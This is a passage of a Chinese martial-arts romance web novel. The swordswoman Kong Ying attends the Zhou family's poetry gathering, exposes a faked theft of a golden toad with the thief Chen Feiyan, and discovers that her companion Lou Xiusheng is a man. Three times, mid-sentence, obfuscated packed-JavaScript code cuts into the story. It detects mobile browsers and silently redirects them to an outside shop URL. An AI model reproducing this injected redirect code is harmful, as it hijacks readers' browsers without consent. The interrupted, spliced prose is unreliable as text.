许倩儿羞愧难当,孟超赶紧扶起对方道:“你不要责怪自己,此事过错全究于杜丰等人,你也是受害者。” 两人相视间,孟超只觉得对方泫然欲泣的眼睛亮得惊人,正心神荡漾之际,却见对方破涕为笑,向自己身后招招手: “夫君,儿子,过来。” 孟超瞠目结舌地见一个男子牵着个男童过来,三人依偎在一起,神情亲昵。许倩儿向他介绍: “孟大哥,这是我夫君和儿子,我们一家都对你感激不尽。要是你不嫌弃,以后就让我儿子认你做干爹。” 突然多了个好大儿的孟超只能干笑着应下。 自觉做了一件正义事的孔英回到酒楼时还回味着今日所见,越想越觉得这一趟出来得真值呀。如果她一直待在京城,哪里能遇到这种事呢。 正自鸣得意时,店小二突然告诉了她一个晴天霹雳: “客官,您房钱不够啦,明天还续不?” 8. 孔英要收徒赴宴会 孔英神情恹恹,先前的欣喜荡然无存,趴在桌上唉声叹气。 她光顾着要教训昏官,把悬赏的事情忘得一干二净。这下好了,明天她和小弟不会得在大街上睡觉吧。 “孔英姑娘?” 孔英懒得动弹,眼睛瞟了一眼对方,发现对方是先前在衙门劝她别去除山匪的那个文官,有气无力地答应了句:“好巧啊。” 眼见对方在邻桌坐下,不用说话,店小二就上了饭菜,心底好奇:“你也住这酒楼?” 王行之点头,见孔英眼睛直勾勾地盯着自己桌上的饭菜,迟疑道:“姑娘是不是饿了,要不……” 没等他说完,孔英直接吩咐小二添副碗筷,朝王行之拱手:“多谢款待,我就不客气了。” 就算明天就要被扫地出门,好歹今天让她吃个饱。 看着孔英风卷残云的样子,王行之欲言又止,最后担心自己没饭吃,也拿起碗筷埋头苦吃。 一顿饭饱,孔英惬意地摸了摸肚子,觉得人生还是有希望的,指不定什么时候就吃上免费的晚餐了呢。 而压根抢不过孔英的王行之咬着筷子欲哭无泪。早知道就不和孔英客套了,谁知道这小姑娘饭量是真大啊。 心情好的孔英看王行之也顺眼许多,和他搭话道:“我在这也住了几天,怎么都没见过你呀?” 王行之还在纠结要不要让店小二再上一份饭菜,听她问话,答道:“我平日都在房内读书备考,甚少出门。” “你不是衙门的文官吗,怎么还要去考科举?” 王行之叹气:“我哪里算得上官,只是衙门缺人手,我又识得几个大字,拉我去充数而已。” 孔英疑惑:“按你的工钱,居然能住得起这大酒楼?” 王行之被问得有些羞恼,但孔英面上又是纯粹的好奇没有轻视意味,只能耐心解释:“我与酒楼老板娘有些渊源,她允我在考取功名前在这吃住。” 孔英恍然大悟,怪不得之前衙门另一个值班的人说王行之在温柔乡里读书,原来是这种意思。 说曹操曹操到。王行之放弃了再吃一份饭的念头,正准备回房继续温习四书五经时,一道女声喊住他: “行之。” 孔英莫名抖了一下,觉得浑身被这道情意绵绵的声音喊得发酥,回头想看看是什么样的妙人才有这样一副黄鹂鸟般娓娓动人的嗓子。 转过头,一个体型丰满、腰圆体宽的女人走进酒楼,她脸如满月,慈眉善目的样子像尊弥勒佛。店小二恭敬地喊了声老板娘。 王行之听见女人喊他,转了方向朝女人走去。 蒋芸扬了扬手中的帖子:“青马郡的周家送来拜帖,请我去清明诗会,你要不要和我同去?” 王行之面上意动,却还是摇了摇头:“春考在即,我今年需得好好准备,不可重蹈先前覆辙。”蒋芸难掩失望,劝他不用太紧张。 王行之回房后,蒋芸本想去酒楼厨房,见孔英直不楞登盯着自己,突然发现了什么似的: “咦,你是今天衙门里,跟在孟超旁边的小姑娘。” 孔英大喜,想着难道自己的名声已经传得如此广了,挺直腰板道:“对,没错,就是我。” 蒋芸掩唇而笑:“我也去了衙门凑热闹,没想到你住在我家酒楼。” 提起这个,孔英有些泄气:“明天就不住啦,我囊中羞涩,得另找地方了。” 蒋芸觉得孔英如此直白很是可爱,便问:“你准备去哪里?” “哪里都好,只要不是睡大街就行,我还有个小弟呢。”似乎是觉得当着人家酒楼老板的面说这些不太好,转而提起另一家事,“老板娘,你刚才说的青马郡周家,是不是那个丢了金蟾蜍传家宝的周家?” 蒋芸点头,孔英一拍手掌有了主意。她现在正愁抓不到无影踪拿不到赏金,找个曾被无影踪偷盗的失主打探下消息,说不定就有线索了呢。 她和蒋芸解释自己接了衙门的悬赏,想蹭蒋芸的车一起去青马郡,难得不好意思道:“老板娘,我们不会蹭吃蹭喝的,只要您顺道捎上我和我小弟就行。” 怕蒋芸拒绝,又补充道:“路上我们也能保护你的安危,连孟超大当家都败给我了呢。” 正在家中给娘亲做饭的孟超打了个喷嚏,暗道是谁在念叨他。 蒋芸大气道:“你们也是为了行侠仗义,我当然要助你们一臂之力。今晚就且好好休整,我们明日早晨出发。” 这下好了,既不用担心明天露宿街头,又有机会找到无影踪的线索。自己真是太聪明了,想出这么个两全其美的办法,孔英美滋滋地想着。 楼修生晚上回来的时候,孔英和他说了明日出发青马郡的消息。他没什么意见,总归孔英往哪处走,楼修生就跟着去哪处。 夜已深,四下皆静。楼修生依旧打地铺,孔英躺在床上有一搭没一搭和楼修生聊着天: “幸好刺史正好路过容水县,不然孟超大当家的悬赏金额估计又要涨了。” 楼修生翻了个身:“你很关心那个大当家?” 孔英理所当然:“我们大侠都是心怀众生的,尤其是孟超他还无辜蒙冤,我当然要多关心他。” 楼修生一听就知道孔英没理解自己的意思,念在对方年纪尚小,根本生不了气,将目光落在孔英垂在床边的发丝上,暗笑道:“赶快睡吧大侠,明日还要赶路呢。” 孔英打了个哈欠,被楼修生柔柔的声调勾出瞌睡虫,将被子一拉盖住全身,舒舒服服地与沉入梦乡。 她睡得踏实,楼修生听着孔英浅浅的鼻鼾声,心里一片沉静祥和。 要是能一直这样就好了,他想。 次日早,孔英听见鸡鸣声就从床上爬起来练早功,一招一式之间,拳风凌厉,脚步稳健。 这是她儿时起就有的习惯。据护国公说是她幼年体弱,一开始是为让孔英强身健体才教她武功,谁知孔英的天赋完全不输她的两位兄长,也就逐渐让她学习更为高深的招数。 即使后来早功带来的收效对于孔英来说已可有可无,但她还是保留了这个习惯。 早功结束,孔英又见到了在庭院中独立的楼修生,这次他给孔英递上了一块锦帕拭汗。 孔英接过锦帕,发现已经提前泡过温水,顿时觉得这小弟真是上道,颇为赞赏地看着对方:“怎么样,你要是想学,老大我可以教你。” 楼修生犹豫道:“我身子骨不太好,恐怕打不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288428|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来这一整套。” 美人眉心微蹙,长长的睫毛在眼下投下一片阴影。孔英打量着对方瘦弱的身躯,更加觉得楼修生需要练练武功强健体魄。 “放心,我从最简单的开始教你,保证不出一年,你就能徒手上山打虎!”反正她当时学武就是这样的。 楼修生自知不可能,不愿扰坏孔英的兴致,笑着答应。 到了时候,几人轻装上阵。蒋芸本就是简单赴会,不需要带什么行囊,而孔英和楼修生压根没什么东西,只别忘了人就好。 楼修生对除了孔英以外的人全是淡漠疏离的样子,对待蒋芸也是,因这态度还被孔英瞪了一眼。他有些委屈,不懂刚刚亲热着说要教自己功夫的人,怎么在别人面前就变了脸。 哎,女人。 从容水县去青马郡需要一天一夜的车程,孔英憋得难受,左看看右看看,发现楼修生只顾闭目养神,就拉着蒋芸聊天,不消一会儿,称呼就从“老板娘”变成了“芸姐姐”。 蒋芸对这个话唠的小姑娘印象不错,和气温柔的性子又让她拒绝不了孔英的搭话,一路聊下来,车厢内的沉闷一扫而空。 从蒋芸口中,孔英得知酒楼是由蒋芸父亲一手创办。他几年前生了大病,将酒楼交到蒋芸手里,又担心自己挺不过去,生了给蒋芸招赘婿的心思,而逃难至此无亲无眷、但又有志考取功名的王行之就成了最好人选。 或许是老爷子命数未尽,也或许是喜事冲淡了病气。他才给将蒋芸和王行之订下婚约,身子就慢慢好起来,虽留下了咳嗽的后遗症,但好歹无伤性命。 老爷子身体一好,脑筋就转起来了。蒋芸身材肥胖不算好看,可是蒋家财大业大,怎么着也是十里八乡叫得出名号的人,要是再挑一挑,总能找出比王行之更合适的人。 于是他将两人婚事压下,严令要王行之考上举人才允许两人婚事落成。 这实际上是镇上人都知道的事,只不过孔英初来乍到,才不知道两人间的渊源。孔英明白过来,怪不得王行之薪水微薄却能在酒楼里吃住。 孔英问:“芸姐姐,你真喜欢王行之吗?” 蒋芸和王行之初见时,对方并不自持文人骚客的风骨,他坦言自己家徒四壁,对入赘一事看得很开,如果真有幸进了蒋家门,必定会待蒋芸好。 她笑道:“我当时不信他的话,毕竟男子多傲慢,心甘情愿入赘而无怨言的人又有多少呢?” 王行之并不只是说说,他用读书以外的闲暇时间帮酒楼忙里忙外,面对其他人嘲笑自己丢了男人的脸面时也不发火,一本正经指责对方是嫉妒自己。 唯一一次发火,还是酒楼里有人吃醉了酒,嚷嚷着说些蒋芸貌丑体胖的话,王行之扑上去和对方扭打在一起,对方没什么事,他却被揍了个鼻青脸肿。 实际上蒋芸对这些话早就能听若无闻从容应对,可是替王行之上药时见他强忍着疼不叫出声,心里头一回感受到微微的颤抖。 “所以王行之挨了一顿打,芸姐姐就喜欢上他了?” 蒋芸并不直接回答,用手指戳了戳孔英的额头:“你问这么多,难道是也有了心上人?” 楼修生刷的睁开双眼,目光定定看向孔英。 9. 孔英要赏诗斗飞贼 孔英摇摇头,她自诩心怀大爱,怎么会纠结于这些小情小爱呢。 “这种事情光靠我说是说不清楚的,等你遇上个人就明白了。” 孔英对将蒋芸的话半懂半懵。她并不是不知事的年纪,先前在京城的时候被带去宴会,听谁家女儿和谁家公子订了亲,多是门当户对的结亲。像蒋芸这样愿意和一穷二白的王行之订下婚约的,孔英只见过一对。 马车停下,车外传来马夫的叫唤:“老板娘,前路堵塞,一时半会儿还过不去。” 蒋芸掀起帷裳一看,外面人头攒动,隐约传来施粥的叫声。 在车上也是闲等,不如下去活动活动筋骨。孔英跳下马车,见前方搭起的施粥篷,意识到原来是有豪富人家在此处施粥。 “周公子真是大好人呀,这已经是本月第二次派人来了。” “是啊,上次我求他们多给我卧病在床的儿子打一份,他们不仅给我打了粥,还请了大夫帮我儿子看病。” “大恩大德没齿难忘啊。” 孔英为避免阻挡别人,并不朝前挤,退至路边听着人们对“周公子”的感激。有人领了粥笑容满面地往回走,碗里满满当当的白粥。 他们已经进了青马郡的界限,这周公子估计就是蒋芸要去拜访的人家。看来他也是个心怀大爱的人啊。 “呸,伪君子。”一旁的女郎啐了一口,眼神恨恨,愤懑的样子引起孔英的好奇。 有人不乐意,反驳:“姑娘你怎么凭空污人清白啊,我看你才是居心叵测吧!” 女郎气急,说不过众人的围攻,旁人当她是小人之心度君子之腹,嗤笑着走过。 孔英观对方身材匀称精瘦,小腿结实步履无声,看出对方在武道上功夫不浅,心里天然对其有些好感,问道:“别人都说周公子是好人,你怎么还骂他是伪君子?” 女郎不顾周围人的怒视,见好不容易有个人没被周长信的假面蒙蔽,抓着孔英诉苦:“他这人惯会做些表面文章,实际上奸同鬼蜮,行若狐鼠。” 可等孔英细问,女郎又支支吾吾说不出来,只是一遍遍重复周长信真是个老奸巨猾的人。 孔英没了耐心,心中的称也偏向周长信一方。正好施粥结束人群消散,她径直回到马车上。 “我见你与那姑娘相谈甚欢,是遇见相熟的人了吗?若是顺路,不如让她上马车来,我们也可载她一程。”蒋芸颇为热心地问道。 孔英摇摇头,将刚才发生的事情说给蒋芸听。 蒋芸听说有人对周长信有怨怼,惊讶地张大嘴:“我虽与周长信来往不多,但他乐善好施的美名也算远传,我还是头次听见有人说他坏话呢。 “不过人非圣贤,他有什么地方得罪了那姑娘也未可说。” 路上颠簸,孔英依旧一副生龙活虎的样子,蒋芸反应也不算多大,只是楼修生面色发白,难受得几欲呕吐。孔英更加坚定要督促小弟练武的决心。 马车走走停停,到了地方已是傍晚,几人寻了处酒楼休整。 在分房间的时候,楼修生对于要和孔英分房显得有些不习惯。蒋芸对于两人间的相处模式感到奇怪,但如果是孔英的话倒也正常。 或许是周家的清明诗会邀请了许多文人墨客,街上随处可见穿着长跑宽袖、头戴儒巾纶巾的人,孔英听不懂他们说的文词雅句,对依旧听得兴致勃勃。 护国公一家都是武将,唯一一个有点文学天赋的二哥还弃笔从戎了。也正因如此,他们对于那些出口成章的学士总是很钦佩。 诗会那天,孔英和楼修生都跟着蒋芸入会,打算找机会逮住周长信问问有关无影踪的线索。一入会,见四下装潢富贵又充斥着文雅气息,孔英咂舌,真不愧是周家办的诗会。 他们家的发迹可以追溯到祖辈,周长信的祖爷爷就是前朝有名的书法大家,颇受人敬重,一代代传下来,虽后辈没再出过惊才艳艳的人,但也没出什么纨绔子弟,蒙受祖辈余荫,做些文玩字画的生意。 说起来也算是书香累世的名门。 孔英在宴会上正式见到了在路上听过无数次名字的周长信,对方身姿修长,一袭锦袍披身,举手投足自有一番从容不迫的风范。一看就是个出身书香门第的贵公子。 女眷坐在庭院里说说笑笑,听男子曲水流觞诗酒唱酬。 孔英刚才注意力都在周长信身上,一转头才发现不知什么时候和蒋芸走散,楼修生也不见踪影,她一个人融不进庭院里的气氛,索性趁此机会四处走走逛逛。 走出层层叠叠的假山池水,孔英就听见楼修生的声音从前方传来,其吟诵的诗句引得众人拍案叫好。 她不自觉放缓了步调,从竹林的间隙窥见楼修生泰然自若入座席中,周长信对他方才歌咏天下第一山的诗句赞赏非常,满眼都是欣赏。 孔英的思绪慢了半拍,还没等她想出这么楼修生会坐在那里,听见身后枝桠断裂声。身体快过意识,双手一擒,锁住对方正向自己袭来的攻势。 她定睛一看,居然就是先前怒骂周长信“伪君子”的女郎。此刻对方换了一身服饰,乔装成周府丫鬟混入诗会。 陈飞燕吃惊于孔英的警惕,脚点地面借力挣脱出来,右掌成刀直击孔英脖颈。孔英抬手用护臂挡下,趁陈飞燕凌空而起重心未落地,猛然挥拳,对方猝不及防,被震得倒飞数步跪倒在地。 孔英恼火,好好地参加个诗会都有人找她打架,上前抓起陈飞燕质问:“我和你无冤无仇,为何要偷袭我?” 陈飞燕只觉得被击中的地方痛得要命,没想到小姑娘看起来年纪轻轻,出手如此不知轻重,辩解道:“我没想害你,我只是想打晕你!” “好端端的打晕我干嘛,你果然居心叵测,混进周家有什么目的?” 陈飞燕见孔英就要去告发自己,情急之下,连忙扯住对方衣袖哀求:“我只是来取我应拿的东西,真没想害人!” 见孔英满脸怀疑,自己又落到对方手上,陈飞燕叹了口气,只好将事情一五一十地告诉孔英。 原来她就是大名鼎鼎的无影踪。先前周家放出消息说传家宝金蟾蜍失窃,用各种言语暗示,就差明说是她无影踪偷的了,但陈飞燕心知自己根本没出手。 陈飞燕最开始疑虑是哪个贼人假借了无影踪的名头嫁祸于她,打探了许久,发现竟没一个人知道金蟾蜍的下落。 所谓最安全的地方就是最危险的地方,排除了一切不可能,剩下那个再不可能也是答案。 她笃定,是周长信贼喊捉贼,金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288429|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟾蜍肯定还好好地在周家待着。 “可你这猜测毫无根据啊,没找到金蟾蜍的下落,说不定就是因为你消息不灵通呢。” 陈飞燕揉了揉还在发痛的伤处,语气十分坚定:“就算我消息不灵通,难道周家消息还不灵通吗?他们都放出了那么高的赏金,又有各种人脉帮忙寻找,却都一无所获,你难道不觉得奇怪?” 孔英和陈飞燕在竹林中席地而坐,竟觉得陈飞燕的话有几分道理,疑惑道:“可周长信这么做是图什么呀,如此费时费力,总不可能是专门为了污蔑你吧。” 陈飞燕翻了个白眼,没好气道:“我也想知道是为什么。他既然都如此说了,我不能让他白白污蔑我。”手攥成拳头在空中一挥,“我要将这谣言落实!” 陈飞燕见孔英似有被自己说动的样子,趁热打铁撺掇道:“你武功高深,我也打不过你。你若是不相信我,随我去看看便知。” 好像有哪里不对,孔英皱眉。 她明明是来捉拿无影踪的,怎么能和这种飞贼同流合污呢! “就算金蟾蜍不是你偷的,但难道从前丢失的那些传家宝也是别人污蔑你?”说着又要去告发她。 她赶紧把孔英拉回来,好声好气地赔笑:“姑娘,大侠,英雄,你听我说。” 陈飞燕出身不好,父母养不起她,便将她卖给了人牙子,又被转手卖给别人。后来她才知道,买下她的人就是著名的江洋大盗无影手。 无影手年岁渐老,反应不如从前,便想着金盆洗手,培养下一代接班人,挑来挑去挑中了陈飞燕。陈飞燕也确实如他所愿,轻功修炼得炉火纯青,几乎能在所有人家来去自如。 要不是碰上孔英这么个怪胎,她早就成功了,陈飞燕腹诽,看了眼孔英还是没敢说出来。 但是陈飞燕比无影手更有原则,只偷传家宝,且是来路不正的传家宝。 那些失窃人家,大多是祖辈不积德,要不就是强抢,要不就是趁人之危从人家手里夺宝,总之没一个是无辜的。受害的人家没办法,便找上了无影踪替他们将传家宝用非常手段拿回来。 陈飞燕晓之以情动之以理:“所以啊英雄,我这是真正的助人为乐,连报酬都只收取了一点点。”和传家宝比起来,她的报酬当然只有一点点。 孔英见陈飞燕一副理直气壮的样子,分不清对方有没有骗自己。但如果是真的,孔英断不可能将一位正义之士送进牢房。 她愁容满面:“想拿个悬赏怎么这么难呢……” 陈飞燕一头雾水,不明白孔英怎么突然提起这茬,试探地问道:“英雄,你是不是缺钱啊?”她挺直腰板,“这还不简单,你放我一马,待我洗刷冤屈后必有重谢。” 孔英立刻否决:“不行,既然被我撞上了,就不能任由你真偷人家里的东西。” 她可是要行侠仗义的人,就算不计较无影踪从前的偷盗是为了物归原主,但怎么能眼睁睁看着周家金蟾蜍失窃呢。 陈飞燕急了,暗恼对方不知变通,可是一直在这里耗下去也不是办法:“那这样,你和我一起去看看金蟾蜍是不是还在周家,若是真在,你就放我走。” 这次只是运气不好,总归先离开这个榆木脑袋,大不了她下次再来一趟便是。 10. 孔英要入室看蟾蜍 陈飞燕估计是早就探查好了地形,带着孔英左拐右拐进了一条不起眼的小路。 孔英跟在后面,见陈飞燕施展轻功身轻如燕,心里忍不住赞叹。她本人崇尚武道,但陷于身体条件等各种因素,并不擅长轻功。方才若不是自己后发制人,恐怕还真得让陈飞燕逃走了。 此时人大多数都在前院参加诗会,这里压根就看不到人,二人走进一处房间,陈飞燕警惕地拦下孔英,前后左右张望,目光锁定某处: “英雄,你在此地等会儿,等我解开机关你再跟上来。” 孔英点点头,好奇地看陈飞燕走上前敲敲墙身,摸索着墙上的挂画,又举起桌上的砚台,还扭了扭地上的花瓶,一连串动作下来,终于在陈飞燕摸到书架上的小黑盒子时,墙身“啪嗒”一声,露出一条缝隙。 不愧是无影踪啊,果然有点本事。头一回见画本子中的场景发生在自己眼前,孔英心里感叹。 “英雄,快过来搭把手。” 两人合力推开暗门,推开后才发现室内别有一番天地。 到处都是文玩字画,在外面能卖上天价的大师之作被随意摆放在地上。孔英上前察看,饶是她不了解这些文人墨客的爱好,也在其中认出许多久觅不得的前人真迹。 “周家家底真是不一般啊。” 陈飞燕不屑:“不然我怎么叫周长信‘伪君子’呢。你看这些字画散落满地,哪里有被好好保管的样子,他们周家根本就是把这当作牟利的工具而已,还作出一番附庸风雅的姿态,真是虚伪。” 陈飞燕指向暗室正中间:“你看,唯一被好好存放的还是一尊金像。” 孔英顺着望过去,竖台上放的可不就是“遗失已久”的金蟾蜍吗!看来陈飞燕还真没骗她,周家贼喊捉贼的把戏居然蒙骗了世人许久。 陈飞燕围着金蟾蜍来回看,眼神里满是对金子的渴望,察觉到孔英严厉的目光才依依不舍地将眼睛收回来。 “英雄,你也看到了金蟾蜍根本没失窃,这下总能放我走了吧?” 见孔英点头,陈飞燕大喜,心里暗自筹算什么时候再来光顾周家一趟带走金蟾蜍。 两人退出去,不好容易将暗门还原,正准备离开,却猛然听见门口传来说笑声,脚步声越来越大,几乎就要推门而入。 四下无处可躲,情急之下陈飞燕抓着孔英飞上横梁,屏气敛息,将食指竖起放于嘴唇中央,示意孔英千万不能发出声响。 下方,小厮推开门,周长信带着个文雅打扮的客人走进来,屏退下人后关上房门。孔英心中震颤,身形微微晃动,竟发现那人就是楼修生。 “今日曲水流觞,最让我惊艳的便是楼薇兄所作的《咏岳》,真是豪情壮志,文采斐然。” 什么?! 孔英大惊,彻底控制不住身体平衡,脚底一歪。陈飞燕伸手不及,只能眼睁睁看孔英“嘭”的一声摔下房梁。 交谈戛然而止,一时间,房内寂静无声。 陈飞燕只觉得两眼一黑,趁周长信被孔英吸引去了注意力还未来得及抬头,心一横,跃下房梁直奔大门,推门而出,和门外围着的三个带刀侍卫大眼瞪小眼。 够了,她今日出门前真该看看黄历。 周长信完全不知道自己书房里何时混进了两个陌生人,大惊失色道:“来人,抓住她们!” 楼修生也急了:“周兄且慢!” 他虽也惊讶孔英的突然出现,但楼修生相信孔英绝不会无缘无故做出潜入人家房间的事,急忙解释道:“周兄,这位姑娘是我好友,想必其中定有什么误会。” 在楼修生的斡旋下,四人正正经经坐下面面相觑,又陷入一团诡异的寂静。 周长信率先开口打破沉默:“两位姑娘不打算解释一下吗?” 孔英此时还沉浸在美貌小弟居然是男子的震撼中,思绪打结,根本没听进去周长信的问话。 陈飞燕一看孔英的样子就知道靠不住,拿出女飞贼的气势反客为主,质问道:“你先别管我们,倒不如解释一下为何周家口口声声说金蟾蜍被盗,实际上却好端端放在你书房暗室?” 周长信脸色微变,眼睑下垂挡住眼中情绪,不动声色地扫视过在场其余三人,沉声道:“姑娘这么说可有证据?” “当然,我和她两个人四只眼睛都看到了!” 别看陈飞燕说得振振有词,实际上心里打鼓。她知道周长信绝对算不上什么良善之辈,但不知道对方到底坏到哪种地步。既然已经被发现,无论她是不是真进过暗室,周长信都会产生疑窦,索性由自己先说出来。 楼修生和孔英相熟,周长信看上去又有与楼修生交好的意思,只要她拉上孔英,周长信应该不至于当即对她们下手。只要能出这个书房,陈飞燕就有信心让周长信再也找不到自己。 出乎她意料,周长信见谎言败露也不急也不恼,只是苦笑:“既然被姑娘撞破,我也就不瞒着各位。” 金蟾蜍传了一代又一代,最初的来源已经成了一个志怪传说。相传周家祖辈曾是个生活清苦的渔夫,风里来雨里去,勉勉强强只能混个饿不死。 直到某天他捕鱼收网,竟然在渔网里发现一只蟾蜍。他正奇怪海里怎么会有蟾蜍,却见远处天色巨变,乌云聚拢电闪雷鸣,好不容易从风浪里逃脱匆匆赶回家,精疲力竭沉沉睡去。 他在梦中见到一位凸眼大嘴的男子,自称是修炼千年的蟾蜍仙,犯错被贬下凡时居然不慎被周家祖辈捕获。蟾蜍仙让周家祖辈将捕到的蟾蜍放归山野田间,作为回报,可保他及其后人五代荣华富贵一生。 周家祖辈悠然转醒,记起梦中仙家的话,赶紧去放了蟾蜍。刚回到家,就发现桌上多了一尊金蟾蜍。 周家祖辈将金蟾蜍好好供奉起来,从此以后他每次出海都能捕到一大网鱼,生活蒸蒸日上,后来转而从商,还培养出了个传世书法家,也就是周长信的祖爷爷。 “只因这个传说,有人就视金蟾蜍为聚宝盆,这些年来明正暗夺者数不胜数。我不堪其扰出此下策,谎称金蟾蜍已经失窃,这才清净了不少。” 陈飞燕没想到这里头还有这样的弯弯道道,看着周长信苦涩的神情发愣,咽了咽口水勉强开口,语气少了几分争锋相对:“那你也不能污蔑无影踪啊。” 周长信挑眉:“我何时说是无影踪偷的了?” 陈飞燕一噎。周家确实没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288430|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过偷盗者就是无影踪,但一提起传家宝失窃,江湖上最先想到的就是无影踪,这么以讹传讹,所有人都相信了贼人是她。 周长信追问:“姑娘这么关心无影踪,难道是和无影踪有往来?还是说,姑娘就是无影踪?” 这下好了,话题转到了自己身上。 陈飞燕暗骂周长信狡诈,面上云淡风轻:“我与无影踪什么关系还轮不到你操心,你还是想想怎么改进书房的机关吧,别随便来个人都能解开。” “我看姑娘可是准备十足,还不知道从哪里搞来我府丫鬟的装扮换上。” “还不是周府守卫‘森严’,连我一个弱女子都防不住。” 周长信被陈飞燕激得起了脾气,丢掉平日端方君子的模样,拍桌而起:“你大白天都敢闯进我家,信不信我这就派人上书官府揭发你。” 陈飞燕抱臂嗤笑:“那就要看看是你去报官更快,还是我将金蟾蜍未失窃的消息抖落出去更快了。” “你!” 眼见原本缓和的气氛又要焦灼起来,楼修生不得不喊停: “二位,事已至此,再纠缠下去只会两败俱伤,不如就此打住各退一步。” 楼修生拉周长信,孔英拉陈飞燕,一顿安慰之后,两人总算愿意再好好坐下谈谈解决方法。 “我可以不追究二位私自闯入我书房的罪责,但是二位需要答应我不可向外人透露金蟾蜍的事。” 陈飞燕仰起头:“可以。但你让无影踪平白无故受了这么多非议,又想如何解决?” 周长信不敢相信自己的耳朵:“无影踪本就是江洋大盗,他的名声难道还能被我毁坏?” 陈飞燕言辞凿凿:“正人君子都能撒弥天大谎,飞贼难道就一定道德败坏?” 周长信咬牙:“那你想怎么办?” “你拿出一笔安慰费,我让无影踪认下偷金蟾蜍的罪名,这样对你我……对你他都好。” 这个条件对于周长信来说倒是可以接受,钱对他而言不是难事,如果花钱就能无后顾之忧,这笔买卖倒也值得。因此他爽快地答应下来。 此事总算了结。 天色渐晚,周长信唤下人取来钱两交给陈飞燕,语气凉凉说希望再也不要在房梁上看到她。 陈飞燕拿到了一大笔钱心里高兴,不计较周长信的阴阳怪气,反而说如果有需要改造暗门可以联系自己。 说罢,不顾周长信发黑的脸色扬长而去,心里还想着自己作为飞贼,能从正门大摇大摆离开的时候还真不多。 离开前陈飞燕特地将孔英叫到一边,将周长信给的钱拿出一半给对方: “英雄,虽然你害我被发现,但没有你我也拿不到这笔安慰费。我做事向来恩怨分明,这钱你收下。”收了钱可不能拿她换悬赏了哦。 孔英感受到手里沉甸甸的重量感动不已。没想到踏破铁鞋无觅处,最后还是让她赚到了钱。感谢无影踪,感谢周长信。 她承诺:“你放心,我绝不向第三人透露你的身份。只希望你以后不要走上歧途,不然我可还是不会放过你。” 陈飞燕面色一僵,暗恼自己手快掏钱,尬笑道:“好嘞,好嘞。” 11. 孔英要辞别登岱山 结束诗会回到暂住酒楼的路上,孔英一副欲言又止的样子,楼修生被看得奇怪,以为她还在纠结今日的事,宽慰道: “周长信不会再追究你和飞燕姑娘的事,无需担心。” “……周长信怎么叫你兄长啊?” 楼修生莫名其妙:“我年长于他,他便客气唤我一句楼微兄。” 孔英内心天人交战,终于还是挣扎着问出了那个迷惑自己许久的问题:“可是……你不是女人吗?” 脚下步子骤然停止,楼修生平静的表情一寸寸龟裂开来,他动作僵硬地转过头,目光死死盯住孔英,几乎要被对方无辜的表情惹得抓狂: “我当然是男的啊!”语气里满是不可置信,“难道你这些日子一直把我当作女儿身?!” 接着又恍然大悟,明白过来为什么孔英能毫无心理负担地和自己同住一间房,还说要让自己帮她按摩。楼修生以手扶额,不愿意接受这种现实,心情像打翻了五味瓶复杂难言。 孔英也暗恼自己的居然将一个大男人当作女人相处了许久。 可这真不怪她。孔英第一次遇见楼修生时就是英雄救美的情景,谁知道一个男的会被一群街头混混逼到墙角束手无措呀!更何况楼修生又生了一张雌雄莫辨的脸。 “我……” 楼修生抬手:“你先别说了。”他现在真是不想听孔英解释,谁知道她嘴里会不会冒出更惊人的话。 手攥紧又松开,嘴唇抽动,最后吐出一声长长的叹息。勉强压下心里的羞恼,控制住甩袖而走的冲动,楼修生努力想用平和的语调说什么,乍然听见孔英发问: “那你的名字真叫楼薇吗,采薇的薇?” 楼修生气得眼前发黑,直接昏倒。 直到从昏迷中迷迷糊糊醒来,脑海里首先冒出来的念头依旧是:孔英怎么能真把他忘得一干二净? “你还好吗?” 耳边传来孔英诺诺的声音,楼修生闭眼又睁眼,用手撑起无力的身子,将目光转向离床有不小距离的孔英。孔英被他看得内心发虚,默默目移不想与他对视。 她怎么会想到只是认错性别而已,楼修生就能被自己气晕,果然是缺乏锻炼啊。 “大夫说你没什么大碍,只是肝火上升,多喝些菊杞茶就好,还说要你平常别多生气。” 孔英看见楼修生直直倒下去的时候吓了一跳,着急忙慌将人拖去医馆,幸好对方没什么大碍,不然她恐怕就要失去这个小弟了。 “你还记得我吗?” 孔英脸上懵懵,不懂楼修生这是什么问题:“我当然记得你。” 屋内燃了安神的熏香,幽幽的香气入鼻。楼修生眼神恍惚,有些没办法将眼前的女孩和印象里的小毛孩重合在一起,语气中透露出若有所失的惆怅: “你没明白我的话,”顿了顿,语气逐渐转为坚定,“不过没关系,我会告诉你的。” 